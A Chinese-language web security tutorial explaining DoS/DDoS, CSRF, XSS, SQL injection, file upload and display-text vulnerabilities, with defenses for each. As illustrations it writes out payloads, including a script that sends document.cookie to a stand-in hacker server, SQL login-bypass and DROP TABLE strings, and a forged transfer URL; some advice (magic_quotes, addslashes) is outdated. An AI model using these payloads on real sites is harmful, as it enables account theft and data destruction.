pwd 郵件 遠程服務器 忽略 asc 分布 mysql mys create

DoS和DDoS攻擊

DoS(Denial of Service)，即拒絕服務，造成遠程服務器拒絕服務的行為被稱為DoS攻擊。其目的是使計算機或網絡無法提供正常的服務。最常見的DoS攻擊有計算機網絡帶寬攻擊和連通性攻擊。 為了進一步認識DoS攻擊，下面舉個簡單的栗子來進行說明： 圖1 TCP三次握手：數據段互換 Client發送連接請求報文，Server接受連接後回復ACK報文，並為這次連接分配資源。Client接收到ACK報文後也向Server發送ACK報文，並分配資源，這樣TCP連接就建立了。前兩次握手，是為了保證服務端能收接受到客戶端的信息並能做出正確的應答；後兩次握手，是為了保證客戶端能夠接收到服務端的信息並能做出正確的應答。建立完TCP三次握手後，Client就可以和Web服務器進行通信了。 在DoS攻擊中，攻擊者通過偽造ACK數據包，希望Server重傳某些數據包，Server根據TCP重轉機制，進行數據重傳。攻擊者利用TCP協議缺陷，通過發送大量的半連接請求，耗費CPU和內存資源。實現方式如下圖：

圖2 攻擊者偽造ACK數據包，發送大量的半連接請求 Web服務器在未收到客戶端的確認包時，會重發請求包一直到鏈接超時，才將此條目從未連接隊列刪除。攻擊者再配合IP欺騙，SYN攻擊會達到很好的效果。通常攻擊者在短時間內偽造大量不存在的IP地址，向服務器不斷地發送SYN包，服務器回復確認包，並等待客戶的確認，由於源地址是不存在的，服務器需要不斷的重發直至超時，這些偽造的SYN包將長時間占用未連接隊列，正常的SYN 請求被丟棄，目標系統運行緩慢，嚴重者引起網絡堵塞甚至系統癱瘓。 SYN攻擊的問題就出在TCP連接的三次握手中，假設一個用戶向服務器發送了SYN報文後突然死機或掉線，那麽服務器在發出SYN+ACK應答報文後是無法收到客戶端的ACK報文的，從而導致第三次握手無法完成。在這種情況下服務器端一般會重試，即再次發送SYN+ACK給客戶端，並等待一段時間後丟棄這個未完成的連接。這段時間的長度我們稱為SYN Timeout，一般來說這個時間是分鐘的數量級，大約為30秒到2分鐘。一個用戶出現異常導致服務器的一個線程等待1分鐘並不是什麽很大的問題，但如果有一個惡意的攻擊者大量模擬這種情況，服務器端將為了維護一個非常大的半連接列表而消耗非常多的資源，即數以萬計的半連接，將會對服務器的CPU和內存造成極大的消耗。若服務器的TCP/IP棧不夠強大，最後的結果往往是堆棧溢出崩潰。實際上，就算服務器端的系統足夠強大，服務器端也將忙於處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求，導致用戶的正常請求失去響應。 對於該類問題，我們可以做如下防範： 第一種是縮短SYN Timeout時間，及時將超時請求丟棄，釋放被占用CPU和內存資源。 第二種是限制同時打開的SYN半連接數目，關閉不必要的服務。 第三種方法是設置SYN Cookie，給每一個請求連接的IP地址分配一個Cookie。如果短時間內連續受到某個IP的重復SYN報文，就認定是受到了攻擊，以後從這個IP地址來的包會被一概丟棄。 一般來說，第三種方法在防範該類問題上表現更佳。同時可以在Web服務器端采用分布式組網、負載均衡、提升系統容量等可靠性措施，增強總體服務能力。 DDoS(Distributed Denial of Service，分布式拒絕服務)是DoS攻擊的一種方法。攻擊指借助於客戶/服務器技術，將多個計算機聯合起來作為攻擊平臺，對一個或多個目標發動DDoS攻擊，從而成倍地提高拒絕服務攻擊的威力。阻止合法用戶對正常網絡資源的訪問，從而達成攻擊者不可告人的目的。DDoS的攻擊策略側重於通過很多“僵屍主機”，向受害主機發送大量看似合法的網絡包，從而造成網絡阻塞或服務器資源耗盡而導致拒絕服務。 圖3 DDoS攻擊創建“僵屍主機”的過程從上圖可知，DDOS是利用一批受控制的僵屍主機向一臺服務器主機發起的攻擊，其攻擊的強度和造成的威脅要比DOS嚴重很多，更具破壞性。對於DDoS攻擊，我們可以做如下防範：(1) 反欺騙：對數據包的地址及端口的正確性進行驗證，同時進行反向探測。(2) 協議棧行為模式分析：每個數據包類型需要符合RFC規定，這就好像每個數據包都要有完整規範的著裝，只要不符合規範，就自動識別並將其過濾掉。(3) 特定應用防護：非法流量總是有一些特定特征的，這就好比即便你混進了顧客群中，但你的行為還是會暴露出你的動機，比如老重復問店員同一個問題，老做同樣的動作，這樣你仍然還是會被發現的。(4) 帶寬控制：真實的訪問數據過大時，可以限制其最大輸出的流量，以減少下遊網絡系統的壓力。

CSRF攻擊

CSRF(Cross Site Request Forgery)，即跨站請求偽造，是一種常見的Web攻擊，但很多開發者對它很陌生。CSRF也是Web安全中最容易被忽略的一種攻擊。下面先介紹一下CSRF攻擊的原理。 圖4 CSRF攻擊過程的示例圖受害者用戶登錄網站A，輸入個人信息，在本地保存服務器生成的cookie。攻擊者構建一條惡意鏈接，例如對受害者在網站A的信息及狀態進行操作，典型的例子就是轉賬。受害者打開了攻擊者構建的網頁B，瀏覽器發出該惡意連接的請求，瀏覽器發起會話的過程中發送本地保存的cookie到網址A，A網站收到cookie，以為此鏈接是受害者發出的操作，導致受害者的身份被盜用，完成攻擊者惡意的目的。舉個簡單的例子來說明下CSRF的危害。用戶登陸某銀行網站，以Get請求的方式完成到另一銀行的轉賬，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻擊者可構造另一危險鏈接http://www.mybank.com/Transfer.php?toUserId=100&money=1000並把該鏈接通過一定方式發給受害者用戶。受害者用戶若在瀏覽器打開此鏈接，會將之前登陸後的cookie信息一起發送給銀行網站，服務器在接收到該請求後，確認cookie信息無誤，會完成改請求操作，造成攻擊行為完成。攻擊者可以構造CGI的每一個參數，偽造請求。這也是存在CSRF漏洞的最本質原因。對於CSRF攻擊，我們可以做如下防範：(1) 驗證碼。應用程序和用戶進行交互過程中，特別是賬戶交易這種核心步驟，強制用戶輸入驗證碼，才能完成最終請求。在通常情況下，驗證碼夠很好地遏制CSRF攻擊。但增加驗證碼降低了用戶的體驗，網站不能給所有的操作都加上驗證碼。所以只能將驗證碼作為一種輔助手段，在關鍵業務點設置驗證碼。(2) Referer Check。HTTP Referer是header的一部分，當瀏覽器向web服務器發送請求時，一般會帶上Referer信息告訴服務器是從哪個頁面鏈接過來的，服務器籍此可以獲得一些信息用於處理。可以通過檢查請求的來源來防禦CSRF攻擊。正常請求的referer具有一定規律，如在提交表單的referer必定是在該頁面發起的請求。所以通過檢查http包頭referer的值是不是這個頁面，來判斷是不是CSRF攻擊。但在某些情況下如從https跳轉到http，瀏覽器處於安全考慮，不會發送referer，服務器就無法進行check了。若與該網站同域的其他網站有XSS漏洞，那麽攻擊者可以在其他網站註入惡意腳本，受害者進入了此類同域的網址，也會遭受攻擊。出於以上原因，無法完全依賴Referer Check作為防禦CSRF的主要手段。但是可以通過Referer Check來監控CSRF攻擊的發生。(3) Anti CSRF Token。目前比較完善的解決方案是加入Anti-CSRF-Token，即發送請求時在HTTP 請求中以參數的形式加入一個隨機產生的token，並在服務器建立一個攔截器來驗證這個token。服務器讀取瀏覽器當前域cookie中這個token值，會進行校驗該請求當中的token和cookie當中的token值是否都存在且相等，才認為這是合法的請求。否則認為這次請求是違法的，拒絕該次服務。這種方法相比Referer檢查要安全很多，token可以在用戶登陸後產生並放於session或cookie中，然後在每次請求時服務器把token從session或cookie中拿出，與本次請求中的token 進行比對。由於token的存在，攻擊者無法再構造出一個完整的URL實施CSRF攻擊。但在處理多個頁面共存問題時，當某個頁面消耗掉token後，其他頁面的表單保存的還是被消耗掉的那個token，其他頁面的表單提交時會出現token錯誤。

XSS攻擊

XSS(Cross Site Scripting)，跨站腳本攻擊。為和層疊樣式表(Cascading Style Sheets，CSS)區分開，跨站腳本在安全領域叫做“XSS”。惡意攻擊者往Web頁面裏註入惡意Script代碼，當用戶瀏覽這些網頁時，就會執行其中的惡意代碼，可對用戶進行盜取cookie信息、會話劫持等各種攻擊。XSS是常見的Web攻擊技術之一，由於跨站腳本漏洞易於出現且利用成本低，所以被OWASP列為當前的頭號Web安全威脅。 圖5 XSS攻擊過程的示例圖 XSS跨站腳本攻擊本身對Web服務器沒有直接的危害，它借助網站進行傳播，使網站上大量用戶受到攻擊。攻擊者一般通過留言、電子郵件或其他途徑向受害者發送一個精心構造的惡意URL，當受害者在Web中打開該URL的時候，惡意腳本會在受害者的計算機上悄悄執行。 根據XSS攻擊的效果，可以將XSS分為3類： (1) 反射型XSS(Non-persistent XSS)，服務器接受客戶端的請求包，不會存儲請求包的內容，只是簡單的把用戶輸入的數據“反射”給瀏覽器。例如：www.a.com?xss.php?name= <script>alert(document.cookie)</script>。訪問這個鏈接則會彈出頁面的cookie內容，若攻擊者把alert改為一個精心構造的發送函數，就可以把用戶的cookie偷走。 (2) 存儲型XSS(Persistent XSS)，這類XSS攻擊會把用戶輸入的數據“存儲”在服務器端，具有很強的穩定性。註入腳本跟反射型XSS大同小異，只是腳本不是通過瀏覽器à服務器à瀏覽器這樣的反射方式，而是多發生在富文本編輯器、日誌、留言、配置系統等數據庫保存用戶輸入內容的業務場景。即用戶的註入腳本保存到了數據庫裏，其他用戶進行訪問涉及到包含惡意腳本的鏈接都會中招。由於這段惡意的腳本被上傳保存到了服務器，這種XSS攻擊就叫做“存儲型XSS”。例如： 服務器端代碼：<?php $db.set(‘name’, $_GET[‘name’]);?> HTML頁面代碼：<?php echo ‘Hi,’ . $db.get[‘name’];?> 圖6 存儲型XSS攻擊過程的示例圖(3) DOM based XSS(Document Object Model XSS)，這類XSS攻擊者將攻擊腳本註入到DOM 結構裏。出現該類攻擊的大多原因是含JavaScrip靜態HTML頁面存在XSS漏洞。例如下面是一段存在DOM類型跨站腳本漏洞的代碼：<script>document.write(window.location.search); </script>在JS中window.location.search是指URL中?之後的內容，document.write是將內容輸出到頁面。這時把鏈接換成http://localhost/test.php?default=<script>alert(document.cookie)</script>那用戶的cookie就被盜了。上面的例子只是很簡單的一種，總結起來是使用了諸如document.write, innerHTML之類的渲染頁面方法需要註意參數內容是否是可信任的。XSS攻擊的危害，可以將XSS分為3類：(1) 竊取用戶信息。黑客可以利用跨站腳本漏洞盜取用戶cookie而得到用戶在該站點的身份權限。如在DOM樹上新增圖片，用戶點擊後會將當前cookie發送到黑客服務器：vari=document.createElement(“img”);document.body.appendChild(i);i.src = “http://www.hackerserver.com/?c=” + document.cookie;(2) 劫持瀏覽器會話來執行惡意操作，如進行非法轉賬、強制發表日誌或電子郵件等。(3) 強制彈廣告頁，刷流量和點擊率。(4) 傳播跨站腳本蠕蟲。如著名的Samy (XSS)蠕蟲攻擊、新浪微博蠕蟲攻擊。對於XSS攻擊，我們可以做如下防範：(1) 輸入過濾。永遠不要相信用戶的輸入，對用戶輸入的數據做一定的過濾。如輸入的數據是否符合預期的格式，比如日期格式，Email格式，電話號碼格式等等。這樣可以初步對XSS漏洞進行防禦。上面的措施只在web端做了限制，攻擊者通抓包工具如Fiddler還是可以繞過前端輸入的限制，修改請求註入攻擊腳本。因此，後臺服務器需要在接收到用戶輸入的數據後，對特殊危險字符進行過濾或者轉義處理，然後再存儲到數據庫中。(2) 輸出編碼。服務器端輸出到瀏覽器的數據，可以使用系統的安全函數來進行編碼或轉義來防範XSS攻擊。在PHP中，有htmlentities()和htmlspecialchars()兩個函數可以滿足安全要求。相應的JavaScript的編碼方式可以使用JavascriptEncode。(3) 安全編碼。開發需盡量避免Web客戶端文檔重寫、重定向或其他敏感操作，同時要避免使用客戶端數據，這些操作需盡量在服務器端使用動態頁面來實現。(4) HttpOnly Cookie。預防XSS攻擊竊取用戶cookie最有效的防禦手段。Web應用程序在設置cookie時，將其屬性設為HttpOnly，就可以避免該網頁的cookie被客戶端惡意JavaScript竊取，保護用戶cookie信息。(5)WAF(Web Application Firewall)，Web應用防火墻，主要的功能是防範諸如網頁木馬、XSS以及CSRF等常見的Web漏洞攻擊。由第三方公司開發，在企業環境中深受歡迎。

SQL註入攻擊

SQL註入(SQL Injection)，應用程序在向後臺數據庫傳遞SQL(Structured Query Language，結構化查詢語言)時，攻擊者將SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。 在了解SQL註入前，我們先認識下常用的Web的四層架構圖組成： 圖7 Web四層架構示例圖 SQL註入常見產生的原因有： (1) 轉義字符處理不當。特別是輸入驗證和單引號處理不當。用戶簡單的在url頁面輸入一個單引號，就能快速識別Web站點是否易收到SQL註入攻擊。 (2) 後臺查詢語句處理不當。開發者完全信賴用戶的輸入，未對輸入的字段進行判斷和過濾處理，直接調用用戶輸入字段訪問數據庫。 (3) SQL語句被拼接。攻擊者構造精心設計拼接過的SQL語句，來達到惡意的目的。如構造語句：select * from users where userid=123; DROP TABLE users;直接導致user表被刪除。 SQL註入常見的註入方式有： (1) 內聯SQL註入。向查詢註入一些SQL代碼後，原來的查詢仍然會全部執行。內聯SQL註入包含字符串內聯SQL註入和數字內聯SQL註入。註入方式如下圖： 圖8 內聯SQL註入示例圖 攻擊者將精心構造的字符串或數字輸入插入到SQL語句中，例如如下的用戶登陸頁面： 圖9 有SQL註入風險的用戶登陸示例圖 (a) 攻擊者可在username字段中註入 ‘ or ‘1’=’1′ or ‘1’=’1，password保持為空： SELECT * FROM login_tbl WHERE username = ‘ ‘ or ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘ 這樣SQL語句查詢語句恒為真，服務器會返回login_tbl表裏的全部賬戶名和密碼。 (b) 攻擊者可在password字段，輸入’ or ‘1’=’1： SELECT * FROM login_tbl WHERE username = ‘ ‘ AND userpwd= ‘ ‘ or ‘1’=’1 ‘ 這樣SQL語句查詢語句恒為真，服務器會返回login_tbl表裏的全部賬戶名和密碼。 (c) 攻擊者可在username字段中註入 admin’ and 1=1 or ‘1’=’1： SELECT * FROM login_tbl WHERE username = ‘admin’ and ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘ 這樣構造的SQL語句，服務器會返回admin用戶登陸。 常見的字符串內聯註入的特征值如下： 圖10 字符串內聯註入的特征值 常見的數字值內聯註入的特征值如下： 圖11 數字值內聯註入的特征值 (2) 終止式SQL註入。攻擊者在註入SQL代碼時，通過註釋剩下的查詢來成功結束該語句。註入方式如下圖： 圖12 終止式SQL註入示例圖 攻擊者將精心構造的字符串或數字輸入插入到SQL語句中，例如圖9的用戶登陸頁面： (a) 攻擊者可在username字段中註入 ‘ or 1=1; –，password保持為空： SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; — ‘ and userpwd=” 這樣SQL語句查詢語句恒為真，服務器會返回login_tbl表裏的全部賬戶名和密碼。 (b) 攻擊者可在username字段中註入 admin’ –，或者admin’ #，password保持為空： SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –‘ and userpwd=” SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=” 這樣構造的SQL語句，服務器會返回admin用戶登陸。 (c) 攻擊者可在username字段中註入 admin’ /*，password輸入*/’： SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /*’ and userpwd=’*/” 這樣構造的SQL語句，服務器會返回admin用戶登陸。 常見的終止式SQL註入的特征值如下： 圖13 終止式SQL註入的特征值對於SQL註入攻擊，我們可以做如下防範：(1) 防止系統敏感信息泄露。設置php.ini選項display_errors=off，防止php腳本出錯之後，在web頁面輸出敏感信息錯誤，讓攻擊者有機可乘。(2) 數據轉義。設置php.ini選項magic_quotes_gpc=on，它會將提交的變量中所有的’(單引號)，”(雙引號)，\(反斜杠)，空白字符等都在前面自動加上\。或者采用mysql_real_escape()函數或addslashes()函數進行輸入參數的轉義。(3) 增加黑名單或者白名單驗證。白名單驗證一般指，檢查用戶輸入是否是符合預期的類型、長度、數值範圍或者其他格式標準。黑名單驗證是指，若在用戶輸入中，包含明顯的惡意內容則拒絕該條用戶請求。在使用白名單驗證時，一般會配合黑名單驗證。

文件上傳漏洞

上傳漏洞在DVBBS6.0時代被黑客們利用的最為猖獗，利用上傳漏洞可以直接得到WEBSHELL，危害等級超級高，現在的入侵中上傳漏洞也是常見的漏洞。該漏洞允許用戶上傳任意文件可能會讓攻擊者註入危險內容或惡意代碼，並在服務器上運行。 文件上傳漏洞的原理：由於文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型，導致允許攻擊者向某個可通過 Web 訪問的目錄上傳任意PHP文件，並能夠將這些文件傳遞給 PHP 解釋器，就可以在遠程服務器上執行任意PHP腳本。 對於文件上傳漏洞攻擊，我們可以做如下防範： (1)檢查服務器是否判斷了上傳文件類型及後綴。 (2) 定義上傳文件類型白名單，即只允許白名單裏面類型的文件上傳。 (3) 文件上傳目錄禁止執行腳本解析，避免攻擊者進行二次攻擊。 Info漏洞 Info漏洞就是CGI把輸入的參數原樣輸出到頁面，攻擊者通過修改輸入參數而達到欺騙用戶的目的。類似於如下的鏈接： 圖14 Info漏洞示例原始圖 我們將“神龜亂鬥”，改為“哈哈哈哈”，頁面上就得到了體現： 圖15 Info漏洞示例攻擊圖 Info漏洞存在的3個主要原因有： 1）CGI參數可以在頁面顯示。 2）返回的頁面具有很強的欺騙性。 3）該頁面是對所有用戶是公開，可訪問的。 Info漏洞的主要危害在於，若在訪問量較大的公開頁面，如網購、微博或新聞網站，發布反動的政治言論或其他色情詞匯等。一方面會影響用戶對網購業務的信心，同時也會給網站帶來一些政治風險。另外，若是發布欺騙信息，如中獎、彩票等，也會對一些用戶造成財產損失。 對於Info漏洞攻擊，將為常見的就是建立臟詞庫。 即對於曬單，評論，昵稱等可以被其他用戶訪問到的地方，進行臟詞過濾。對用戶的輸入詞匯，與臟詞庫中的詞匯進行匹配，過濾掉有與臟詞庫相同的詞匯。對於一些面向用戶自己的，而其他用戶不能看到的頁面。可以不對其做臟詞處理。 介紹就到這裏啦，我們一起來做個總結吧： Web安全是我們必須關註且無法逃避的話題，本文介紹了一些比較典型的安全問題和應對方案。例如對於SQL，XSS等註入式攻擊，我們一定要對用戶輸入的內容進行嚴格的過濾和審查，這樣可以避免絕大多數的註入式攻擊方式。對於DoS攻擊我們就需要使用各種工具和配置來減輕危害，另外容易被DDoS攻擊的還有HTTPS服務，我們要做好特定的應用防護和用戶行為模式分析。所以在日常的開發和測試過程中，我們要時常提醒自己，寫出的代碼有沒有可能被人攻擊？或者思考若我是一個攻擊者，我該怎麽做才可以達到我的攻擊效果呢？只有這樣知己知彼後，方可百戰百勝！

web常見攻擊